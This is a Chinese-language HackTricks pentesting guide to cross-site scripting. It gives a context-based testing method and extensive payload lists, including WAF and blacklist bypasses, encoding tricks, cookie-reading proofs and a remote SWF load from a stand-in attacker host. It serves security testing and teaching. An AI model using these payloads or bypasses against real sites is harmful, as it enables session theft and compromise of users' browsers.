hacktricks/pentesting-web/xss-cross-site-scripting
2024-01-10 17:05:27 +00:00
..
abusing-service-workers.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:34:43 +00:00
chrome-cache-to-xss.md Translated to Chinese 2023-08-03 19:12:22 +00:00
debugging-client-side-js.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:59:31 +00:00
dom-clobbering.md Translated to Chinese 2023-08-03 19:12:22 +00:00
dom-invader.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-01-10 06:29:36 +00:00
dom-xss.md Translated to Chinese 2023-08-03 19:12:22 +00:00
iframes-in-xss-and-csp.md Translated to Chinese 2023-08-03 19:12:22 +00:00
js-hoisting.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:59:31 +00:00
other-js-tricks.md Translated to Chinese 2023-08-03 19:12:22 +00:00
pdf-injection.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:05:27 +00:00
README.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-01-10 06:29:36 +00:00
server-side-xss-dynamic-pdf.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:59:31 +00:00
shadow-dom.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:59:31 +00:00
sniff-leak.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:59:31 +00:00
some-same-origin-method-execution.md Translated to Chinese 2023-08-03 19:12:22 +00:00
steal-info-js.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:05:27 +00:00
xss-in-markdown.md Translated to Chinese 2023-08-03 19:12:22 +00:00
xss-tools.md Translated to Chinese 2023-08-03 19:12:22 +00:00

XSS (跨站脚本攻击)

/

Bug bounty tip: 注册 Intigriti,一个由黑客创建,为黑客服务的优质漏洞赏金平台!立即加入我们 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}

方法论

  1. 检查你控制的任何值参数路径头部?、cookies?是否在HTML中反映或被JS代码使用
  2. 找到反映/使用的上下文
  3. 如果反映
    1. 检查你能使用哪些符号根据这个准备payload
      1. 原始HTML中:
        1. 你能创建新的HTML标签吗
        2. 你能使用支持javascript:协议的事件或属性吗?
        3. 你能绕过保护吗?
        4. HTML内容是否被任何客户端JS引擎AngularJSVueJSMavo...)解释,你可以滥用客户端模板注入
        5. 如果你不能创建执行JS代码的HTML标签你能滥用悬挂标记 - HTML无脚本注入吗?
      2. HTML标签内
        1. 你能退出到原始HTML上下文吗
        2. 你能创建新的事件/属性来执行JS代码吗
        3. 你被困的属性是否支持JS执行
        4. 你能绕过保护吗?
      3. JavaScript代码中:
        1. 你能逃离<script>标签吗?
        2. 你能逃离字符串并执行不同的JS代码吗
        3. 你的输入是否在模板字面量``中?
        4. 你能绕过保护吗?
    2. 正在执行的Javascript函数
      1. 你可以指定要执行的函数名称。例如:?callback=alert(1)
  4. 如果使用
    1. 你可以利用DOM XSS,注意你的输入如何被控制,以及你的受控输入是否被任何sink使用

在处理复杂的XSS时了解以下内容可能会有帮助

{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}

反映的值

要成功利用XSS你首先需要找到一个由你控制且在网页中反映

  • 中间反映:如果你发现参数的值或甚至路径在网页中被反映,你可以利用反射型XSS
  • 存储并反映:如果你发现你控制的值被服务器保存并在你每次访问页面时反映,你可以利用存储型XSS
  • 通过JS访问如果你发现你控制的值通过JS被访问你可以利用DOM XSS

上下文

在尝试利用XSS时你首先需要知道的是你的输入在哪里被反映。根据上下文你将能够以不同的方式执行任意JS代码。

原始HTML

如果你的输入反映在原始HTML页面上,你将需要滥用某些HTML标签来执行JS代码<img<iframe<svg<script... 这些只是你可能使用的许多HTML标签中的一些。
同时,记住客户端模板注入

在HTML标签属性内

如果你的输入反映在标签属性的值内,你可以尝试:

  1. 逃离属性和标签然后你将处于原始HTML中并创建新的HTML标签来滥用"><img [...]
  2. 如果你能逃离属性但不能逃离标签>被编码或删除),根据标签,你可以创建一个事件来执行JS代码" autofocus onfocus=alert(1) x="
  3. 如果你不能逃离属性"被编码或删除),那么根据你的值反映在哪个属性中以及你是否控制全部值或只是一部分,你将能够滥用它。例如,如果你控制一个事件如onclick=,当它被点击时你将能够使其执行任意代码。另一个有趣的例子是属性href,你可以使用javascript:协议来执行任意代码:href="javascript:alert(1)"
  4. 如果你的输入反映在“不可利用的标签”内,你可以尝试使用**accesskey技巧来滥用漏洞(你将需要某种社会工程来利用这个):" accesskey="x" onclick="alert(1)" x="**

在JavaScript代码内

在这种情况下你的输入反映在HTML页面的**<script> [...] </script>标签之间,在.js文件中或在使用javascript:**协议的属性内:

  • 如果反映在**<script> [...] </script>标签之间,即使你的输入在任何类型的引号内,你也可以尝试注入</script>并逃离这个上下文。这有效是因为浏览器将首先解析HTML标签**然后是内容,因此,它不会注意到你注入的</script>标签在HTML代码内。
  • 如果反映在JS字符串内且上一个技巧不起作用,你需要退出字符串,执行你的代码,并重构JS代码如果有任何错误它将不会执行
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • 如果反映在模板字面量内,你可以使用${ ... }语法嵌入JS表达式var greetings = `Hello, ${alert(1)}`
  • Unicode编码可以用来编写有效的javascript代码
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Javascript 提升

Javascript 提升指的是在使用函数、变量或类之后再声明它们的机会,因此你可以利用 XSS 使用未声明的变量或函数的场景。
更多信息请查看以下页面:

{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}

Javascript 函数

许多网页有端点接受函数名作为参数来执行。一个常见的例子是:?callback=callbackFunc

要发现用户直接提供的内容是否尝试被执行,一个好方法是修改参数值(例如改为'Vulnerable'),然后在控制台查找错误,如:

如果存在漏洞,你可以通过发送值:?callback=alert(1)触发警告。然而,这些端点通常会验证内容,只允许字母、数字、点和下划线([\w\._])。

即便有这样的限制,仍然可以执行一些操作。这是因为你可以使用这些有效字符来访问 DOM 中的任何元素

以下是一些有用的函数:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

您还可以尝试直接触发 Javascript 函数obj.sales.delOrders

然而,通常执行指定函数的端点没有太多有趣的 DOM同源的其他页面将有更有趣的 DOM来执行更多操作。

因此,为了在不同的 DOM 中滥用这个漏洞,开发了同源方法执行 (SOME) 利用技术:

{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

DOM

存在JS 代码不安全地使用了攻击者控制的一些数据,如 location.href。攻击者可以利用这一点执行任意 JS 代码。

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

通用 XSS

这类 XSS 可以在任何地方找到。它们不仅仅依赖于客户端对 Web 应用程序的利用,而是依赖于任何 上下文。这种任意 JavaScript 执行甚至可以被滥用来获得RCE读取客户端和服务器中的任意 文件等等。
一些示例

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}

绕过 WAF 编码图像

来自 https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

在原始 HTML 中注入

当您的输入反映在HTML 页面内部或者您可以逃脱并在此上下文中注入 HTML 代码时,您需要做的第一件事是检查是否可以滥用 < 来创建新标签:只需尝试反映字符并检查它是否被HTML 编码删除,或者是否未经更改地反映只有在最后一种情况下,您才能利用这种情况
对于这些情况,还要记住客户端模板注入
注意HTML 注释可以使用 --> --!> 关闭

在这种情况下,如果没有使用黑名单/白名单,您可以使用像这样的有效载荷:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

标签/事件暴力破解

访问 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 并点击 复制标签到剪贴板。然后,使用 Burp Intruder 发送所有标签,并检查是否有任何标签没有被 WAF 识别为恶意的。一旦你发现了可以使用的标签,你可以对所有事件进行暴力破解,使用有效的标签(在同一网页上点击 复制事件到剪贴板 并遵循之前相同的步骤)。

自定义标签

如果你没有找到任何有效的 HTML 标签,你可以尝试创建一个自定义标签并使用 onfocus 属性执行 JS 代码。在 XSS 请求中,你需要在 URL 结尾加上 #,以使页面聚焦于该对象执行代码:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

黑名单绕过

如果使用了某种黑名单,您可以尝试使用一些简单的技巧来绕过它:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

长度绕过(小型 XSS

{% hint style="info" %} 更多适用于不同环境的小型 XSS 载荷 可以在这里找到这里。 {% endhint %}

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

最后一个使用了2个Unicode字符扩展为5个telsr
更多这样的字符可以在这里找到。
要检查哪些字符被分解,请查看这里

点击 XSS - 点击劫持

如果要利用漏洞,您需要用户点击链接或带有预填充数据的表单,您可以尝试滥用点击劫持(如果页面容易受到此类攻击)。

不可能 - 悬空标记

如果您认为不可能创建带有属性的HTML标签来执行JS代码,您应该查看悬空标记,因为您可以利用漏洞而不执行JS代码。

注入HTML标签内部

在标签内部/从属性值中逃逸

如果您处于HTML标签内部,您首先可以尝试的是逃离标签,并使用上一节中提到的技术来执行JS代码。
如果您无法从标签中逃离您可以在标签内部创建新属性来尝试执行JS代码例如使用以下有效载荷请注意,在此示例中使用双引号从属性中逃离,如果您的输入直接反映在标签内部,则不需要它们

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

样式事件

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

在属性内

即使您无法从属性中逃脱" 被编码或删除),根据哪个属性反映您的值,您是否控制所有值或只是部分,您将能够滥用它。例如,如果您控制像 onclick= 这样的事件,您将能够使其在点击时执行任意代码。
另一个有趣的例子是属性 href,您可以使用 javascript: 协议来执行任意代码:href="javascript:alert(1)"

使用 HTML 编码/URL 编码绕过事件内

HTML 标签属性值内的HTML 编码字符在运行时会被解码。因此,像下面这样的内容将是有效的(加粗的部分是有效载荷):<a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">返回</a>

请注意,任何类型的 HTML 编码都是有效的

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

请注意URL编码也同样有效

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

利用Unicode编码绕过事件内部

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

特殊协议在属性中的应用

在某些地方,您可以使用协议 javascript:data:执行任意JS代码。有些可能需要用户交互,有些则不需要。

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

可以注入这些协议的位置

一般来说javascript: 协议可以用于任何接受 href 属性的标签,以及大多数接受属性 src 的标签(但 <img 除外)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

其他混淆技巧

在这种情况下前一节中的HTML编码和Unicode编码技巧也同样适用因为你处于属性内部。

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

此外,还有另一个巧妙的技巧适用于这些情况:即使你在javascript:...中的输入被URL编码了在执行前它也会被URL解码。 因此,如果你需要使用单引号来从字符串逃逸,而你看到它被URL编码了,记住这没关系,在执行时它会被解释单引号

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

请注意,如果您尝试同时使用 URLencode + HTMLencode 以任何顺序对有效载荷进行编码,它不会起作用,但您可以在有效载荷内部混合使用它们

使用十六进制和八进制编码与 javascript:

您可以在 iframesrc 属性中使用十六进制八进制编码来声明执行 JS 的 HTML 标签

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

反向标签劫持

<a target="_blank" rel="opener"

如果您能够在包含 target="_blank" and rel="opener" 属性的任意 <a href= 标签中注入任何URL请检查以下页面以利用此行为

{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}

on 事件处理程序绕过

首先,查看此页面(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)以获取有用的**"on" 事件处理程序**。
如果有黑名单阻止您创建这些事件处理程序,您可以尝试以下绕过方法:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

XSS 在“不可利用标签”中(隐藏输入、链接、规范、元标签)

这里 现在可以滥用隐藏的输入字段:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

元标签中:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

这里:您可以在隐藏属性中执行XSS载荷,前提是您能说服受害者按下键组合。在Firefox Windows/Linux上键组合是ALT+SHIFT+X在OS X上是CTRL+ALT+X。您可以使用access key属性中的不同键指定不同的键组合。这是向量

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload 将类似于:" accesskey="x" onclick="alert(1)" x="

黑名单绕过

本节内已经揭示了使用不同编码的多种技巧。返回学习何时可以使用:

  • HTML 编码HTML 标签)
  • Unicode 编码(可以是有效的 JS 代码): \u0061lert(1)
  • URL 编码
  • 十六进制和八进制编码
  • 数据编码

绕过 HTML 标签和属性

阅读上一节的黑名单绕过

绕过 JavaScript 代码

阅读下一节的 JavaScript 绕过黑名单技术

CSS-小工具

如果你在网页的非常小的部分发现 XSS,需要某种交互(可能是页脚中的一个小链接,带有 onmouseover 元素),你可以尝试修改该元素占用的空间,以最大化触发链接的概率。

例如,你可以在元素中添加一些样式,如:position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

但是,如果 WAF 正在过滤 style 属性,你可以使用 CSS 样式小工具,所以如果你发现,例如

.test {display:block; color: blue; width: 100%}

#someid {top: 0; font-family: Tahoma;}

现在你可以修改我们的链接并将其形式变为

<a href=”” id=someid class=test onclick=alert() a=””>

这个技巧取自 https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

注入 JavaScript 代码内

在这些情况下,你的输入将会反映在 .js 文件的 JS 代码内,或者在 <script>...</script> 标签之间,或者在可以执行 JS 代码的 HTML 事件之间,或者在接受 javascript: 协议的属性之间。

逃逸 <script> 标签

如果你的代码插入在 <script> [...] var input = 'reflected data' [...] </script> 中,你可以轻松地逃逸关闭 <script> 标签:

</script><img src=1 onerror=alert(document.domain)>

请注意,在这个例子中,我们甚至没有关闭单引号,但这不是必需的,因为浏览器首先执行HTML解析以识别页面元素包括脚本块然后再执行JavaScript解析以理解和执行嵌入的脚本。

在JS代码内部

如果<>正在被清理,您仍然可以逃离字符串,在您的输入被定位的地方,并且执行任意JS。重要的是要修复JS语法因为如果有任何错误JS代码将不会被执行

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

模板字面量 ``

为了构建字符串除了单引号和双引号外JS也接受反引号 ``。这被称为模板字面量,因为它们允许使用${ ... }语法嵌入JS表达式
因此如果你发现你的输入在使用反引号的JS字符串中被反射,你可以利用${ ... }语法执行任意JS代码

这可以通过以下方式被滥用

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

编码代码执行

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Unicode 编码 JS 执行

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

JavaScript 绕过黑名单技术

字符串

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

特殊转义

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

在JS代码内的空格替换

<TAB>
/**/

JavaScript注释来自 JavaScript注释 技巧)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript 新行(来自 JavaScript 新行 技巧)

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

JavaScript 空白字符

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

评论中的Javascript

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

不带括号的JavaScript

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

任意函数alert调用

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM漏洞

存在使用攻击者控制的不安全数据JS代码,如 location.href。攻击者可以利用这一点执行任意JS代码。
由于对DOM漏洞的解释很详细因此已移至此页面

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

在那里,你将找到关于DOM漏洞是什么它们是如何被引发的以及如何利用它们的详细解释
同时,不要忘记,在提到的文章末尾,你可以找到关于 DOM Clobbering 攻击 的解释。

其他绕过方法

标准化Unicode

你可以检查反射值是否在服务器端(或客户端)被Unicode标准化,并利用这一功能绕过保护。在这里找到一个例子

PHP FILTER_VALIDATE_EMAIL 标志绕过

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails 绕过

由于 RoR 批量赋值引号被插入到HTML中然后绕过引号限制并且可以在标签内添加额外字段onfocus
例如表单(来自此报告如果你发送以下payload

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

键值对 "Key","Value" 将会像这样回显:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

然后,将插入 onfocus 属性:

发生 XSS。

特殊组合

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
